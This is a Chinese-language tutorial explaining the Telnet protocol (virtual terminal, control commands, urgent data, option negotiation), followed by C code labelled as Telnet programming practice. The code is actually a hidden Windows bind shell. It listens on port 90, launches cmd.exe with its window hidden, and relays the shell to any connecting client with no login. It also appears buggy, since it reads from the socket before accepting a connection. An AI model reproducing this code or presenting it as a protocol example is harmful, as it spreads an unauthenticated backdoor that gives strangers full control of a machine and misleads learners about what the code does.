Telnet協議是TCP/IP協議族中的一員,是Internet遠程登陸服務的標準協議和主要方式。它為使用者提供了在本機電腦上完成遠程主機工作的能力。在終端使用者的電腦上使用telnet程式,用它串連到伺服器。終端使用者可以在telnet程式中輸入命令,這些命令會在伺服器上運行,就像直接在伺服器的控制台上輸入一樣。可以在本地就能控制伺服器。要開始一個telnet會話,必須輸入使用者名稱和密碼來登入伺服器。Telnet是常用的遠端控制Web伺服器的方法。
Telnet協議?它都具備哪些特點呢?
1、 基本內容
Telnet是位於OSI模型的第7層---應用程式層上的一種協議,是一個通過建立虛擬終端提供串連到遠程主機終端模擬的TCP/IP協議。這一協議需要通過使用者名稱和口令進行認證,是Internet遠程登陸服務的標準協議。應用Telnet協議能夠把本機使用者所使用的電腦變成遠程主機系統的一個終端。它提供了三種基本服務:
1)Telnet定義一個網路虛擬終端為遠程系統提供一個標準介面。客戶機程式不必詳細瞭解遠程系統,他們只需構造使用標準介面的程式;
2)Telnet包括一個允許客戶機和伺服器協商選項的機制,而且它還提供一組標準選項; .
3)Telnet對稱處理串連的兩端,即Telnet不強迫客戶機從鍵盤輸入,也不強迫客戶機在螢幕上顯示輸出。
2 、適應異構
為了使多個作業系統間的Telnet互動操作成為可能,就必須詳細瞭解異構電腦和作業系統。比如,一些作業系統需要每行文本用ASCII斷行符號控制符(CR)結束,另一些系統則需要使用ASCII分行符號(LF),還有一些系統需要用兩個字元的序列斷行符號-換行(CR-LF);再比如,大多數作業系統為使用者提供了一個中斷程式啟動並執行快速鍵,但這個快速鍵在各個系統中有可能不同(一些系統使用CTRL+C,而另一些系統使用ESCAPE)。如果不考慮系統間的異構性,那麼在本地發出的字元或命令,傳送到遠地並被遠程系統解釋後很可能會不準確或者出現錯誤。因此,Telnet協議必須解決這個問題。 為了適應異構環境,Telnet協議定義了資料和命令在Internet上的傳輸方式,此定義被稱作網路虛擬終端NVT(Net Virtual Terminal)。它的應用過程如下: 對於發送的資料:客戶機軟體把來自使用者終端的按鍵和命令序列轉換為NVT格式,並發送到伺服器,伺服器軟體將收到的資料和命令,從NVT格式轉換為遠地系統需要的格式; 對於返回的資料:遠地伺服器將資料從遠地機器的格式轉換為NVT格式,而本地客戶機將將接收到的NVT格式資料再轉換為本地的格式。 對於NVT格式的詳細定義,有興趣的朋友可以去尋找相關資料。
3 、傳送遠程命令
我們知道絕大多數作業系統都提供各種快速鍵來實現相應的控制命令,當使用者在本地終端鍵入這些快速鍵的時候,本地系統將執行相應的控制命令,而不把這些快速鍵作為輸入。那麼對於Telnet來說,它是用什麼來實現控制命令的遠程傳送呢? Telnet同樣使用NVT來定義如何從客戶機將控制功能傳送到伺服器。我們知道USASCII字元集包括95個可列印字元和33個控制碼。當使用者從本地鍵入一般字元時,NVT將按照其原始含義傳送;當使用者鍵入快速鍵(按鍵組合)時,NVT將把它轉化為特殊的ASCII字元在網路上傳送,並在其到達遠地機器後轉化為相應的控制命令。 將正常ASCII字元集與控制命令區分的原因:
1)這種區分意味著Telnet具有更大的靈活性:它可在客戶機與伺服器間傳送所有可能的ASCII字元以及所有控制功能;
2)這種區分使得客戶機可以無二義性的指定信令,而不會產生控制功能與一般字元的混亂。 .
4 、資料流向
上面我們提到過將Telnet設計為應用級軟體有一個缺點,那就是:效率不高。這是為什麼呢?下面給出Telnet中的資料流向: 資料資訊被使用者從本地鍵盤鍵入並通過作業系統傳到客戶機程式,客戶機程式將其處理後返回作業系統,並由作業系統經過網路傳送到遠程機器,遠程作業系統將所接收資料傳給伺服器程式,並經伺服器程式再次處理後返回到作業系統上的偽終端進入點,最後,遠程作業系統將資料傳送到使用者正在啟動並執行應用程式,這便是一次完整的輸入過程;輸出將按照同一通路從伺服器傳送到客戶機。 因為每一次的輸入和輸出,電腦將切換進程環境好幾次,這個開銷是很昂貴的。還好使用者的鍵入速率並不算高,這個缺點我們仍然能夠接受。 .
5、 強制命令
我們應該考慮到這樣一種情況:假設本機使用者運行了遠地機器的一個無休止迴圈的錯誤命令或程式,且此命令或程式已經停止讀取輸入,那麼作業系統的緩衝區可能因此而被佔滿,如果這樣,遠程伺服器也無法再將資料寫入偽終端,並且最終導致停止從TCP串連讀取資料,TCP串連的緩衝區最終也會被佔滿,從而導致阻止資料流流入此串連。如果以上事情真的發生了,那麼本機使用者將失去對遠程機器的控制。 為瞭解決此問題,Telnet協議必須使用外帶信令以便強制服務器讀取一個控制命令。我們知道TCP用緊急資料機制實現外帶資料信令,那麼Telnet只要再附加一個被稱為資料標記(date mark)的保留八位組,並通過讓TCP發送已設定緊急資料位元的報文段通知伺服器便可以了,攜帶緊急資料的報文段將繞過流量控制直接到達伺服器。作為對緊急信令的相應,伺服器將讀取並拋棄所有資料,直到找到了一個資料標記。伺服器在遇到了資料標記後將返回正常的處理過程。
6 、選項協商
由於Telnet兩端的機器和作業系統的異構性,使得Telnet不可能也不應該嚴格規定每一個telnet串連的詳細配置,否則將大大影響Telnet的適應異構性。因此,Telnet採用選項協商機制來解決這一問題。 Telnet選項的範圍很廣:一些選項擴充了大方向的功能,而一些選項制涉及一些微小細節。例如:有一個選項可以控制Telnet是在半雙工還是全雙工系統模式下工作(大方向);還有一個選項允許遠地機器上的伺服器決定使用者終端類型(小細節)。
下面我們在代碼中實踐Telnet協議編程
#include <winsock2.h>#pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "kernel32.lib")#define PORT 90SOCKET ServerSocket = INVALID_SOCKET;SOCKET ClientSocket = INVALID_SOCKET;HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;u_char varA,varB;DWORD WINAPI ThreadFuncA( LPVOID lpParam ){SECURITY_ATTRIBUTES pipeattr;DWORD nByteToWrite, nByteWritten;char recv_buff[1024];pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);pipeattr.lpSecurityDescriptor = NULL;pipeattr.bInheritHandle = TRUE;CreatePipe(&hReadPipe,&hWriteFile,&pipeattr,0);varA = 1;while(true){Sleep(250);nByteToWrite = recv(ClientSocket,recv_buff,1024,0);WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);}return 0;}DWORD WINAPI ThreadFuncB( LPVOID lpParam ){SECURITY_ATTRIBUTES pipeattr;DWORD len;char send_buff[25000];pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);pipeattr.lpSecurityDescriptor = NULL;pipeattr.bInheritHandle = TRUE;CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0);varB = 1;while (true){ReadFile(hReadFile,send_buff,25000,&len,NULL);send(ClientSocket,send_buff,len,0);}return 0;}void Enter(void){WSADATA WSAData;struct sockaddr_in RemoteAddr;DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;OSVERSIONINFO osvi;PROCESS_INFORMATION processinfo;STARTUPINFO startinfo;WSAStartup(MAKEWORD(2,2),&WSAData);ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);RemoteAddr.sin_family = AF_INET;RemoteAddr.sin_port = htons(PORT);RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));listen(ServerSocket, 5);varA = 0;varB = 0;CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);do{ Sleep(250);}while((varA || varB) == 0);GetStartupInfo(&startinfo);startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;startinfo.hStdInput = hReadPipe;startinfo.hStdError = hWritePipe;startinfo.hStdOutput = hWritePipe;startinfo.wShowWindow = SW_HIDE;osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx(&osvi);char szAPP[256];GetSystemDirectory(szAPP,MAX_PATH+1);if(osvi.dwPlatformId == 2){strcat(szAPP,"\\cmd.exe");if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo,&processinfo) == 0){return;}}else{strcat(szAPP,"\\command.exe");CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);}while (true){ ClientSocket = accept(ServerSocket, NULL, NULL);Sleep(250);}}